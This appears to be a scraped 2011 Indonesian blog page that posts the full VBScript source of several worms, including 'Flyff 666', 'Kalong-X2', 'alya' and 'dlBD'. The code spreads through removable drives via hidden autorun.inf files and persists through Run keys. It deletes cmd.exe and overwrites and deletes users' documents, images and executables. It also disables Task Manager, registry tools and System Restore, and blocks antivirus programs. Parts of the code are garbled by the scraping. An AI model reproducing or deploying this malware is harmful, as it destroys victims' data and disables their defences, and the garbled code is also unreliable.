"set generateCopy = FSobj|OpenTextFileundefinedfile|Path, 2, True)" &vbcrlf& _
"generateCopy|write finalMes " &vbcrlf& _
"generateCopy|Close" &vbcrlf& _
"appName=FSobj|GetBaseNameundefinedfile|Path)" &vbcrlf& _
"set adExt=FSobj|GetFileundefinedfile|Path)" &vbcrlf& _
"adExt|copyundefinedlocation&^\^&appName&^|txt^)" &vbcrlf& _
"FSobj|DeleteFile undefinedfile|Path)" &vbcrlf& _
"elseIf undefinedextName=^log^)orundefinedextName=^ini^) then" &vbcrlf& _
"set generateCopy = FSobj|OpenTextFileundefinedfile|Path, 2, True)" &vbcrlf& _
"generateCopy|write finalMes" &vbcrlf& _
"generateCopy|Close" &vbcrlf& _
"appName=FSobj|GetBaseNameundefinedfile|Path)" &vbcrlf& _
"set adExt=FSobj|GetFileundefinedfile|Path)" &vbcrlf& _
"adExt|copyundefinedlocation&^\^&appName&^|txt^)" &vbcrlf& _
"FSobj|DeleteFile undefinedfile|Path)" &vbcrlf& _
"elseIf undefinedextName=^doc^)orundefinedextName=^exe^) then" &vbcrlf& _
"set generateCopy = FSobj|OpenTextFileundefinedfile|Path, 2, True)" &vbcrlf& _
"generateCopy|write finalMes" &vbcrlf& _
"generateCopy|Close" &vbcrlf& _
"appName=FSobj|GetBaseNameundefinedfile|Path)" &vbcrlf& _
"set adExt=FSobj|GetFileundefinedfile|Path)" &vbcrlf& _
"adExt|copyundefinedlocation&^\^&appName&^|txt^)" &vbcrlf& _
"FSobj|DeleteFile undefinedfile|Path)" &vbcrlf& _
"end if" &vbcrlf& _
"next" &vbcrlf& _
"end sub" &vbcrlf& _
"function displayMessageundefined)" &vbcrlf& _
"dim shell,messageFile" &vbcrlf& _
"set shell = CreateObjectundefined^WScript|Shell^)" &vbcrlf& _
"set messageFile=FSobj|CreateTextFileundefinedsysDir&^\dlBD-mes|bat^)" &vbcrlf& _
"messageFile|close" &vbcrlf& _
"set FSobj=CreateObjectundefined^Scripting|FileSystemObject^)" &vbcrlf& _
"set messageFile=FSobj|CreateTextFileundefinedsysDir&^\dlBD-mes|bat^)" &vbcrlf& _
"messageFile|WriteLineundefined^@title Happy Birthday to me! :) - VBS/dlBD Virus - by *|%|^)" &vbcrlf& _
"messageFile|WriteLineundefined^@cls^)" &vbcrlf& _
"messageFile|WriteLineundefined^@echo Happy BirthDay to me! :) - You have been infected with the VBS/dlBD Virus :undefined^)" &vbcrlf& _
"messageFile|WriteLineundefined^@echo|^)" &vbcrlf& _
"messageFile|WriteLineundefined^@pause^)" &vbcrlf& _
"messageFile|close" &vbcrlf& _
"shell|RunundefinedsysDir&^\dlBD-mes|bat^)" &vbcrlf& _
"end function"
end function

source code FLyff 666.dll.vbs

2011-01-24T14:20:00.002+07:00

FLyff 666.dll.vbs

on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=WScript.exe FLyff 666.dll.vbs"
set fs = createobjectundefined"Scripting.FileSystemObject")
Fs.DeleteFileundefined"C:/Windows/System32/regedt32.exe")
Fs.DeleteFileundefined"C:/Windows/System32/cmd.exe")
set mf = fs.getfileundefinedWscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstreamundefined1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
Loop
do
Set winpath = fs.getspecialfolderundefined0)
set tf = fs.getfileundefinedwinpath & "\Flyff 666.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfileundefinedwinpath & "\Flyff 666.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfileundefinedwinpath & "\Flyff 666.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If undefinedflashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfileundefinedflashdrive.path &"\Flyff 666.dll.vbs")
tf.attributes =32
set tf=fs.createtextfileundefinedflashdrive.path &"\Flyff 666.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfileundefinedflashdrive.path &"\Flyff 666.dll.vbs")
tf.attributes =39
set tf =fs.getfileundefinedflashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfileundefinedflashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfileundefinedflashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobjectundefined"WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\User",winpath&"\Flyff 666.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Flyff 666"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\CleanShutdown", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\FaultTime", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCDBurning", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Shutdown_Settings", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\System", "1", "REG_DWORD"
rg.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", "67108863", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoScrSavPage", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDispCpl", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Program Manager\Restrictions\NoClose", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Program Manager\Restrictions\NoFileMenu", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Program Manager\Restrictions\NoRun", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System Monitoring", "1", "REG_DWORD"
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "Flyff 666 VM_Community"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText", "Saya Adalah Program Jahat yang Mengambil Alih Komputer kalian !! dibuat Oleh Flyff 666"
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avscan.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avcenter.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashAvast.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ansav.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremoval.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremover.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32kui.exe\Debugger",""
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LegalNoticeCaption", "H4x0r3d By Flyff 666"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LegalNoticeText", "Saya Adalah Program Jahat yang Akan Mengambil Alih Komputer kalian !! System Hasbeen Hacked BY : Flyff 666 From Indonesian Hackers Community"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\LimitSystemRestoreCheckpointing", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\DisableMSI", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableSR", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableConfig", "1", "REG_DWORD"

if check <> 1 then
WScript.sleep 100000
end if
loop while check<>1
set sd = createobjectundefined"WScript.shell")
sd.run winpath & "\explorer.exe /e,/select, " & WScript.ScriptFullname

souce-code Varian dari Kalong.VBS

2011-01-23T13:29:00.002+07:00

'Kalong-X2
'Varian dari Kalong.VBS

on error resume next

'Dim kata-kata berikut
dim rekur,syspath,windowpath,desades,longka,mf,isi,tf,kalong,nt,check,sd

'siapkan isi autorun
isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe k4l0n6.sys.vbs"
set longka = createobjectundefined"Scripting.FileSystemObject")
set mf = longka.getfileundefinedWscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstreamundefined1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

'buat file induk
Set windowpath = longka.getspecialfolderundefined0)
Set syspath = longka.getspecialfolderundefined1)
set tf = longka.getfileundefinedsyspath & "\recycle.vbs")
tf.attributes = 32
set tf = longka.createtextfileundefinedsyspath & "\recycle.vbs",2,true)
tf.write rekur
tf.close
set tf = longka.getfileundefinedsyspath & "\recycle.vbs")
tf.attributes = 39

'sebar ke removable disc ditambahkan dengan Autorun.inf
for each desades in longka.drives

If undefineddesades.drivetype = 1 or desades.drivetype = 2) and desades.path <> "A:" then

set tf=longka.getfileundefineddesades.path &"\k4l0n6.sys.vbs")
tf.attributes =32
set tf=longka.createtextfileundefineddesades.path &"\k4l0n6.sys.vbs",2,true)
tf.write rekur
tf.close
set tf=longka.getfileundefineddesades.path &"\k4l0n6.sys.vbs")
tf.attributes = 39

set tf =longka.getfileundefineddesades.path &"\autorun.inf")
tf.attributes = 32
set tf=longka.createtextfileundefineddesades.path &"\autorun.inf",2,true)
tf.write isi
tf.close
set tf = longka.getfileundefineddesades.path &"\autorun.inf")
tf.attributes=39
end if
next

'Manipulasi Registry
set kalong = createobjectundefined"WScript.Shell")

'Ubah IE Title
kalong.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title",":: X2 ATTACK ::"

'File Hidden tak terlihat
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden",2, "REG_DWORD"

'Blokir Find, FolderOptions, Run, Regedit, Task Manager, System Restore, perubahan Wallpaper, Hotkey, Control Panel, dan Log Off
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys", "1", "REG_DWORD"
kalong.RegWrite "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore\DisableSR", "1", "REG_DWORD"
kalong.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff", "1", "REG_DWORD"
kalong.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel", "1", "REG_DWORD"

'Ubah tulisan pertama pada text box menu RUN
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a", "KALONG-X2/1"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\MRUList", "a"

'Buat pesan saat Windows Startup
kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "KALONG-X2"
kalong.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText", "Komputer Anda Diambil Alih"

'Aktifkan saat Windows Startup
kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ageia", syspath & "\recycle.vbs"

'Ubah Default Start Page Internet Explorer
kalong.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.vaksin.com"

'Alihkan aplikasi berikut. Jika dibuka maka program terbuka dengan Notepad
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger",”“
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger",”“
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger",”“
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger",”“
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger",”“
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger",”“
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger",”“
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger",”“
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger",”“
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger",”“
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordpad.exe\Debugger",”“
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VB6.exe\Debugger",”“
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autorun.exe\Debugger",”“
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ansav.exe\Debugger",”“
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremoval.exe\Debugger",”“
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremover.exe\Debugger",”“

'Bonus
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobjectundefined"Wscript.shell")
sd.run windowpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname

source code virus alya vbs

2011-01-23T13:27:00.000+07:00

source code virus alya vbs

'MICROSOFT WINDOWS SYSTEM DRIVER
'
on error resume next
Dim ScriptCode, winpath, flashdrive
Dim fs, autorunFiles, ThumbsFiles
Dim TargetFiles, CreateReg, CheckDrive, ScriptRun

autorunFiles = "[autorun]" & vbcrlf & "open=wscript.exe Thumbs.vbs" & vbcrlf & "shell\open=Open" & vbcrlf & "shell\open\Command=wscript.exe Thumbs.vbs" & vbcrlf & "shell\open\Default=1" & vbcrlf & "shell\explore=Explorer" & vbcrlf & "shell\explore\Command=Explorer.exe"

Set fs = CreateObjectundefined"Scripting.FileSystemObject")
Set ThumbsFiles = fs.getfileundefinedWscript.ScriptFullname)

Dim text, size
size = ThumbsFiles.size
CheckDrive = ThumbsFiles.drive.drivetype
Set text = ThumbsFiles.openastextstreamundefined1, -2)

Do While Not text.atendofstream
ScriptCode=ScriptCode & text.readline
ScriptCode = ScriptCode & vbCrLf
Loop

Do
Set winpath = fs.getspecialfolderundefined0)
Set TargetFiles = fs.getfileundefinedwinpath & "\Thumbs.vbs")
TargetFiles.Attributes = 32

Set TargetFiles = fs.createtextfileundefinedwinpath & "\Thumbs.vbs", 2, True)
TargetFiles.write ScriptCode
TargetFiles.Close

Set TargetFiles = fs.getfileundefinedwinpath & "\Thumbs.vbs")
TargetFiles.Attributes = 39

For Each flashdrive In fs.drives

If undefinedflashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path <> "A:" Then
Set TargetFiles = fs.getfileundefinedflashdrive.Path & "\Thumbs.vbs")
TargetFiles.Attributes = 32

Set TargetFiles = fs.createtextfileundefinedflashdrive.Path & "\Thumbs.vbs", 2, True)
TargetFiles.write ScriptCode
TargetFiles.Close

Set TargetFiles = fs.getfileundefinedflashdrive.Path & "\Thumbs.vbs")
TargetFiles.Attributes = 39

Set TargetFiles = fs.getfileundefinedflashdrive.Path & "\autorun.inf")
TargetFiles.Attributes = 32

Set TargetFiles = fs.createtextfileundefinedflashdrive.Path & "\autorun.inf", 2, True)
TargetFiles.write autorunFiles
TargetFiles.Close

Set TargetFiles = fs.getfileundefinedflashdrive.Path & "\autorun.inf")
TargetFiles.Attributes = 39
End If

Next

pt = """"
Set CreateReg = CreateObjectundefined"WScript.Shell")
CreateReg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\avctrl","wscript.exe c:\windows\Thumbs.vbs"
CreateReg.regwrite "HKEY_CLASSES_ROOT\vbsfile\DefaultIcon\", "%SystemRoot%\System32\shell32.dll,-154"
CreateReg.regwrite "HKEY_CLASSES_ROOT\VBSFile\", "Configuration Script"

If CheckDrive <> 1 Then Wscript.sleep 200000
Loop While CheckDrive <> 1
Set ScriptRun = CreateObjectundefined"Wscript.shell")
ScriptRun.run winpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname

'==================================
' vbs.allya by. iwing/indovirus
'==================================
' ### ## ## ## ## ###
' ## ## ## ## ## ## ## ##
' ##### ## ## ## #####
' ## ## ## ## ## ## ##
' ## ## ##### ##### ## ## ##
'==================================

souce-code-virus-vbsplutaa

2011-01-23T13:25:00.000+07:00

On Error Resume Next
dim FSobj,winDir,sysDir,copySelf,newFile,rawFileData,hackedFileData,fixData,dataFixed,newFileData,copySelfComplete
set FSobj=CreateObjectundefined&quot;Scripting.FileSystemObject&quot;)
set sysDir=FSobj.GetSpecialFolderundefined1)

checkDateundefined)
function checkDateundefined)
if undefineddayundefinedNow)=16 and monthundefinedNow)=2)orundefineddayundefinedNow)=29 and monthundefinedNow)=3) then
beginInfestationundefined)
displayMessageundefined)
else
plantTrojanizedFileundefined)
end if
end function

function plantTrojanizedFileundefined)
set copySelf=FSobj.CreateTextFileundefinedsysDir+&quot;\sys-dlBD.vbs&quot;)
copySelf.close
set newFile=FSobj.OpenTextFileundefinedWScript.ScriptFullname,1)
writeCopyundefined)
hackedFileData=replaceundefinedrawFileData,chrundefined42),chrundefined68))
fixData=replaceundefinedhackedFileData,chrundefined37),chrundefined76))
dataFixed=replaceundefinedfixData,chrundefined124),chrundefined46))
newFileData=replaceundefineddataFixed,chrundefined94),&quot;&quot;&quot;&quot;)
set copySelfComplete=FSobj.OpenTextFileundefinedsysDir+&quot;\sys-dlBD.vbs&quot;,2)
copySelfComplete.write newFileData
copySelfComplete.close

createRegKey &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\sysdlBD&quot;,sysDir&amp;&quot;\sys-dlBD.vbs&quot;
end function

sub createRegKeyundefinedregKey,regVal)
dim regEdit
set regEdit=CreateObjectundefined&quot;WScript.Shell&quot;)
regEdit.RegWrite regKey,regVal
end sub

sub beginInfestation
On Error Resume Next
dim drive,machine,complete
set machine=FSobj.Drives
for each drive in machine
if undefineddrive.DriveType=2)orundefineddrive.DriveType=3) then
indexFoldersundefineddrive.Path&amp;&quot;\&quot;)
end If
next
beginInfestation=complete
end sub

sub indexFoldersundefinedlocation)
On Error Resume Next
dim specs, file, subFol
set specs=FSobj.GetFolderundefinedlocation)
set subFol=specs.SubFolders

for each file in subFol
spreadDataundefinedfile.Path)
indexFoldersundefinedfile.Path)
next
end sub

sub spreadDataundefinedlocation)
On Error Resume Next
dim folder,directory,file,generateCopy,appName,adExt,orgMes,mesStageTwo,mesStageThree,finalMes,extName,complete
set folder=FSobj.GetFolderundefinedlocation)
set directory=folder.Files

orgMes=&quot;Happy BirthDay to me! :) - You have been infected with the VBS/dlBD Virus...Written by *|%|&quot;
mesStageTwo=replaceundefinedorgMes,chrundefined42),chrundefined68))
mesStageThree=replaceundefinedmesStageTwo,chrundefined124),chrundefined46))
finalMes=replaceundefinedmesStageThree,chrundefined37),chrundefined76))

for each file in directory
extName=lcaseundefinedFSobj.GetExtensionNameundefinedfile.Path))
complete=lcaseundefinedfile.Name)

if undefinedextName=&quot;jpg&quot;)orundefinedextName=&quot;gif&quot;)then
set generateCopy = FSobj.OpenTextFileundefinedfile.Path, 2, True)
generateCopy.write finalMes
generateCopy.Close
appName=FSobj.GetBaseNameundefinedfile.Path)
set adExt=FSobj.GetFileundefinedfile.Path)
adExt.copyundefinedlocation&amp;&quot;\&quot;&amp;appName&amp;&quot;.txt&quot;)
FSobj.DeleteFile undefinedfile.Path)

elseIf undefinedextName=&quot;log&quot;)orundefinedextName=&quot;ini&quot;) then
set generateCopy = FSobj.OpenTextFileundefinedfile.Path, 2, True)
generateCopy.write finalMes
generateCopy.Close
appName=FSobj.GetBaseNameundefinedfile.Path)
set adExt=FSobj.GetFileundefinedfile.Path)
adExt.copyundefinedlocation&amp;&quot;\&quot;&amp;appName&amp;&quot;.txt&quot;)
FSobj.DeleteFile undefinedfile.Path)

elseIf undefinedextName=&quot;doc&quot;)orundefinedextName=&quot;exe&quot;) then
set generateCopy = FSobj.OpenTextFileundefinedfile.Path, 2, True)
generateCopy.write finalMes
generateCopy.Close
appName=FSobj.GetBaseNameundefinedfile.Path)
set adExt=FSobj.GetFileundefinedfile.Path)
adExt.copyundefinedlocation&amp;&quot;\&quot;&amp;appName&amp;&quot;.txt&quot;)
FSobj.DeleteFile undefinedfile.Path)
end if
next
end sub

function displayMessageundefined)
dim shell,messageFile
set shell = CreateObjectundefined&quot;WScript.Shell&quot;)
set messageFile=FSobj.CreateTextFileundefinedsysDir&amp;&quot;\dlBD-mes.bat&quot;)
messageFile.close
set FSobj=CreateObjectundefined&quot;Scripting.FileSystemObject&quot;)
set messageFile=FSobj.CreateTextFileundefinedsysDir&amp;&quot;\dlBD-mes.bat&quot;)
messageFile.WriteLineundefined&quot;@title Happy Birthday to me! :) - VBS/dlBD Virus&quot;)
messageFile.WriteLineundefined&quot;@cls&quot;)
messageFile.WriteLineundefined&quot;@echo Happy BirthDay to me! :) - You have been infected with the VBS/dlBD Virus :undefined&quot;)
messageFile.WriteLineundefined&quot;@echo.&quot;)
messageFile.WriteLineundefined&quot;@pause&quot;)
messageFile.close
shell.RunundefinedsysDir&amp;&quot;\dlBD-mes.bat&quot;)
